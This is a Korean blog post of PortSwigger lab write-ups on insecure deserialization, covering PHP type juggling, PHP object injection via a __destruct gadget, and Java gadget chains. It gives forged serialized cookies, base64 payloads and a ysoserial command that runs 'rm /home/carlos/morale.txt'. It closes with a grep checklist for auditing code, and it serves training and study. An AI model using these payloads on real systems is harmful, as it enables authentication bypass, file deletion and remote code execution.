일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 레나튜토리얼.
- 티스토리챌린지
- 멀티컨트롤오류
- 숫자분리
- L
- Python
- 삼성노트동기화오류
- flask설치
- 포트스캐너
- flask 구조
- 리버싱
- pe구조
- tuple
- set
- 클립보드간공유기능
- portswigger
- 리버스 엔지니어링
- 플라스크 애플리케이션 팩토리
- 리버스엔지니어링
- flask
- 오블완
- 레나튜토리얼
- 삼성클라우드오류
- 파이썬
- flask blueprint
- AQ
- NMAP
- 플라스크
- Today
- Total
정보보안
Portswigger Lab: 안전하지 않은 역직렬화(Insecure deserialization)(1) 본문
Portswigger Lab: 안전하지 않은 역직렬화(Insecure deserialization)(1)
haru0909 2025. 2. 2. 02:291. Insecure deserialization: PHP 7 버전 type juggling
wiener:peter로 로그인하고 쿠키 값을 확인한다.
url decoding과 base64 decoding을 하면 아래와 같은 토큰이 나타난다.
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"v1121s9n9iclilyg9smnz3t04kebqne0";}
PHP 직렬화 형식에서 문자는 데이터 유형(s=string, i=integer)을 나타내고 숫자는 각 항목의 길이를 나타낸다.
따라서 wiener를 administrator로 변경하기 위해선, 문자열 길이에 맞게 6 -> 13으로 변경해주어야 한다.
이대로 다시 base64 encoding하여 쿠키에 넣어 전송하면 에러가 발생한다. access_token을 변경하지 않았기 때문이다.
PHP 7.X 버전과 그 이전 버전에서는, 느슨한 비교(loose comparison, ==)를 사용할 때,
서로 다른 데이터 타입을 비교하면 암시적 형 변환(type juggling)이 일어난다.
예를 들어 숫자와 문자열을 비교할 경우, 먼저 문자열을 숫자로 변환하려고 시도한다.
"42" 같은 숫자 문자열은 42로 변환할 수 있겠지만 "password" 와 같은 문자열은 숫자로 바꿀 수가 없다.
따라서 이렇게 변환할 수 없는 문자열은 모두 0으로 변환됐다.
(PHP 8.0 버전 부터는 비숫자 문자열을 숫자로 변환하려고 할 경우 TypeError 경고가 발생한다.)
우리 환경에 적용된다고 가정하면, s를 i로 변경하고, 값을 0로 바꿔주면 되겠다.
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
base64 인코딩을 진행한다.
쿠키 값을 변경하면, location에 id가 administrator가 된 것을 확인할 수 있다.
admin으로 인증되어 admin panel 기능이 활성화되었다. carlos를 지우고 끝낸다.
solved!
2. Insecure deserialization: PHP unserialize()
wiener:peter로 로그인 후 avatar에 아무 이미지 파일을 업로드 했다.
요청 헤더에서 cookie 값을 가져와 url decoding, base64 decoding을 했다.
쿠키 내 'avatar_link'에서 'users/wiener/avatar' 을 발견했다.
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"zhqx4usd2bq6tvwr72p4avwuhmouwqyf";s:11:"avatar_link";s:19:"users/wiener/avatar";} |
delete user 기능을 사용했을 때, link된 파일도 지워진다면 이 랩을 해결할 수 있다.
아래 코드처럼 json_decode()가 아닌 unserialize() 함수를 사용하고, 경로에 대한 검증이 없으면 가능하겠다.
<?php
class User {
public $username;
public $image_location;
public function __construct($username, $image_location) {
$this->username = $username;
$this->image_location = $image_location;
}
public function deleteUser() {
// 프로필 이미지 삭제
if (file_exists($this->image_location)) {
unlink($this->image_location);
}
echo "User deleted successfully.";
}
}
// 사용자의 세션에서 역직렬화된 객체를 가져옴
if (isset($_COOKIE['user_data'])) {
$user = unserialize($_COOKIE['user_data']);
$user->deleteUser();
}
?>
avatar_link를 /home/carlos/morale.txt로 변경하고, 길이를 23으로 수정한 후 base64 인코딩 한다.
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"zhqx4usd2bq6tvwr72p4avwuhmouwqyf";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";} |
/my-account/delete를 요청할 때 intercept를 하여 cookie를 방금 base64화한 데이터로 변경하고 보내준다.
/home/carlos/morale.txt 파일이 정상적으로 삭제되어 완료했다.
3. Insecure deserialization: 매직 메서드를 이용한 PHP에서의 임의의 객체 주입
wiener:peter로 로그인한 후 쿠키 값을 url, base64 디코딩한다.
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ryzzw0bvfuaho8qhvq38eiuitduzbxkq";}
세션 쿠키가 직렬화된 PHP 객체로 이루어져 있다. (O:<길이>:"클래스명" 형태)
별 게 없어서 sitemap을 확인하니 libs/CustomTemplate.php가 로드된 것을 확인할 수 있었다.
다만 그대로 전송하면 응답 값에 아무것도 출력되지 않는다.
파일 명 뒤에 ~(tilde)를 추가하여 전송하면, 웹서버가 PHP가 아닌 일반 파일로 인식하여 PHP 엔진이 이를 실행하지 않게 된다.
이로 인해 웹 서버는 해당 파일을 일반 텍스트 파일로 처리하고, 그 내용(소스 코드)을 그대로 반환한다.
/libs/CustomTemplate.php 코드를 살펴보자.
CustomTemplate클래스에 매직 메서드(__)가 포함되어 있는 것을 확인했다.
(매직 메서드는 특정한 동작을 자동으로 수행하는 특별한 함수로 __(언더스코어 두 개)로 시작하며, PHP 내부에서 특정 이벤트가 발생했을 때 자동으로 호출된다.)
<?php
class CustomTemplate {
private $template_file_path;
private $lock_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
__destuct()는 file_exists()가 true라면 파일을 unlink 시켜 삭제한다.
Carlos의 홈 디렉터리에서 또 morale.txt를 삭제해야 하는 미션을 가진 나에게는 매우 흥미로운 메서드이다.
쿠키 형식을 참고하여 CustomTemplate 객체와 "lock_file_path";s:23:"/home/carlos/morale.txt"를 추가하고 다시 인코딩한다.
[인코딩 전 쿠키]
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";} |
[base64, url encoding한 쿠키]
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3d%3d |
cookie session에 인코딩 값을 넣고 전송하면 에러가 발생하지만 Solved가 되었다고 뜬다.
[참고: 매직 메서드 예시]
- __construct() → 객체가 생성될 때 자동 실행됨 (생성자)
- __destruct() → 객체가 삭제될 때 자동 실행됨 (소멸자)
- __get() → 접근하려는 속성이 없을 때 자동 실행됨
- __set() → 속성에 값을 할당할 때 자동 실행됨
- __toString() → 객체를 문자열로 변환할 때 실행됨
- __wakeup() → unserialize()가 실행될 때 호출됨
4. Insecure deserialization: Apache Commons Collections 역직렬화 취약점 (CVE-2015-7501)
[Java 직렬화 형식]
Java와 같은 일부 언어는 이진 직렬화 형식을 사용한다. 인간 친화적인 PHP에 비해 읽기가 더 어렵지만 몇 가지 숨길 수 없는 기호를 인식하는 방법을 알고 있다면 직렬화된 데이터를 식별할 수 있다. 예를 들어, 직렬화된 Java 객체는 항상 동일한 바이트로 시작하며, 이는 16진수로 'ac ed', Base64로 'rO0'으로 인코딩된다.
java.io.Serialized 인터페이스를 구현하는 모든 클래스는 직렬화 및 역직렬화될 수 있다. 소스 코드에 액세스할 수 있는 경우, InputStream에서 데이터를 읽고 역직렬화하는 데 사용되는 readObject() 메서드를 사용하는 코드를 기록해야 한다.
Apache Commons Collections 역직렬화 취약점 (CVE-2015-7501) Apache Commons Collections 라이브러리는 객체 변환(transformer) 기능을 제공하는데, 그 중 InvokerTransformer는 reflection(실행 중인 프로그램에서 클래스, 메서드 등을 동적으로 조작하는 기능)을 사용해 특정 메서드를 실행하는 기능이 있으며, 이를 조작하면 RCE가 가능하다. 공격자는 InvokerTransformer를 포함한 악성 객체를 직렬화(serialization) 후 서버로 전송하고, 서버에서 이를 unserialize() 또는 ObjectInputStream.readObject()로 역직렬화 하면 임의 명령어 실행이 가능하다. 이 취약점은 ysoserial 같은 도구를 이용해 익스플로잇할 수 있으며, 현재는 패치가 적용된 상태다. |
https://payatu.com/blog/insecure-deserialization-java-expliotation/
Insecure Deserialization in Java and its exploitation
Learn how 'Insecure Deserialization' vulnerability arises in Java and how an attacker may use deserialization to exploit a vulnerable system.
payatu.com
관련 취약점은 위 링크를 참고해도 좋다.
wiener:peter 자격증명으로 로그인 한다.
Cookie 값을 url decoding, base64 decoding을 한다. 세션 쿠키에 직렬화된 Java 객체가 포함되어 있음을 확인한다.
다만 ysoserial은 java 17 버전과 궁합이 잘 안맞는다.. 열심히 구글링 해서 명령어를 실행시켰다.
java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED \
-jar ./ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0 > cookie.txt
쿠키에 해당 값을 넣고, url encoding을 한 후 전송하면 lab을 풀 수 있다.
5. Insecure deserialization: Java 역직렬화를 위한 사용자 정의 가젯 체인 개발
이 랩은 oswe 과정과 비슷해보인다. 소스코드를 확인하고, 역직렬화 PoC 스크립트를 만들면 될 것 같다.
wiener:peter 자격증명으로 로그인 한 후, cookie를 url decoding -> base64 decoding 한다.
사진의 우측 하단에서 디코딩 된 데이터를 살펴보면 java 객체로 이루어진 것을 확인할 수 있다.
해당 애플리케이션 site map을 확인하면, /backup/AcessTokenUser.java가 로드된 것을 알 수 있다.
해당 엔드포인트를 요청하면, java 소스코드가 노출된다.
그리고 나서 /backup/폴더를 요청하면, 다른 java 파일이 추가로 노출된다.
두 개의 코드를 확인해보자.
먼저 'AcessTokenUser.java' 는AccessToken을 발급하는 간단한 코드이다. 지금 당장은 필요가 없다.
// AccessTokenUser.java
package data.session.token;
import java.io.Serializable;
public class AccessTokenUser implements Serializable
{
private final String username;
private final String accessToken;
public AccessTokenUser(String username, String accessToken)
{
this.username = username;
this.accessToken = accessToken;
}
public String getUsername()
{
return username;
}
public String getAccessToken()
{
return accessToken;
}
}
이 코드는 취약점이 존재하여 짚고 갈 게 많아 코드 밑에 작성하겠다.
// ProductTemplate.java
package data.productcatalog;
import common.db.JdbcConnectionBuilder;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class ProductTemplate implements Serializable
{
static final long serialVersionUID = 1L;
private final String id;
private transient Product product;
public ProductTemplate(String id)
{
this.id = id;
}
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
{
inputStream.defaultReadObject();
JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from(
"org.postgresql.Driver",
"postgresql",
"localhost",
5432,
"postgres",
"postgres",
"password"
).withAutoCommit();
try
{
Connection connect = connectionBuilder.connect(30);
String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
Statement statement = connect.createStatement();
ResultSet resultSet = statement.executeQuery(sql);
if (!resultSet.next())
{
return;
}
product = Product.from(resultSet);
}
catch (SQLException e)
{
throw new IOException(e);
}
}
public String getId()
{
return id;
}
public Product getProduct()
{
return product;
}
}
1. ProductTemplate 클래스는 Serializable 인터페이스를 구현한다. 이에 객체를 직렬화/역직렬화 할 수 있다.
객체를 역직렬화할 때(readObject()) 예상치 못한 코드가 실행될 가능성이 있기에 잘 살펴봐야 한다.
2. readObject() 메서드가 존재한다.
- readObject()는 객체가 역직렬화될 때 자동으로 실행되는 메서드.
- 이 메서드 내에서 악의적인 코드 실행이 가능할지를 분석함.
- defaultReadObject() 호출 후 추가적인 코드가 실행되는지 확인해야 함.
3. readObject()에서 실행되는 코드 분석
역직렬화될 때 자동으로 데이터베이스 연결이 수행되는 것을 확인할 수 있으며, 사용자 입력값 id가 String.format()을 통해 직접 SQL 쿼리에 삽입되어 SQL Injection 가능성이 있음을 알 수 있다.
-> 따라서 역직렬화된 객체의 id 값을 조작하여 SQL Injection 공격을 수행할 수 있다.
곧 시험이라... 나중에 이어서..
[oswe와 접목시켜, java 역직렬화 취약점을 찾으려면..]
1. Serializable을 구현하는 클래스를 검색한다.
grep -r "implements Serializable" . |
또는 IDE(예: IntelliJ, VSCode)에서 "implements Serializable"을 검색한다.
-> 해당 클래스가 존재하면 readObject() 또는 readResolve() 메서드가 있는지 확인해야 한다.
2. readObject() 또는 readResolve() 메서드 검색를 검색한다.
grep -r "private void readObject" . grep -r "protected Object readResolve" . |
- readObject()는 역직렬화될 때 자동 실행되는 메서드.
- readResolve()는 역직렬화 후 실행되는 메서드로, 역직렬화 취약점이 발생하지 않도록 보안한다.
3. ObjectInputStream.readObject() 호출 여부 확인.
grep -r "readObject()" . |
- 외부에서 직렬화된 데이터를 받아 역직렬화를 수행하는 코드가 있는지 확인해야 한다.
- 외부 입력(네트워크, 파일, HTTP 요청 등)을 통해 역직렬화가 실행되면 취약점일 가능성이 크다.
4. defaultReadObject() 이후 실행되는 코드 분석
inputStream.defaultReadObject(); |
- defaultReadObject() 이후 외부 입력값이 포함된 코드가 실행되는지 확인한다.
- 데이터베이스 접근, 시스템 명령어 실행(Runtime.getRuntime().exec()) 같은 코드가 있는지 확인 필요.
5. 위험한 메서드 호출 여부 확인
grep -r "Runtime.getRuntime().exec" . grep -r "ProcessBuilder" . grep -r "new FileWriter" . grep -r "java.sql.Connection" . |
- Runtime.getRuntime().exec() → 역직렬화 시 원격 코드 실행(RCE) 가능성.
- ProcessBuilder → 시스템 명령 실행 가능성.
- new FileWriter → 파일 시스템 조작 가능성.
- java.sql.Connection → 데이터베이스 조작 가능성.
위와 같은 메서드가 포함된 경우, 역직렬화될 때 악용될 가능성이 크다.
'Public > Portswigger Lab' 카테고리의 다른 글
Portswigger Lab: API testing (0) | 2025.02.27 |
---|---|
Portswigger Lab: XXE(2) (0) | 2025.02.02 |
Portswigger Lab: SSRF, Path Traversal, xxe(1) (0) | 2025.02.01 |
Portswigger Lab: SSTI(2) (1) | 2025.02.01 |
Portswigger Lab: SSTI(1) (0) | 2024.11.13 |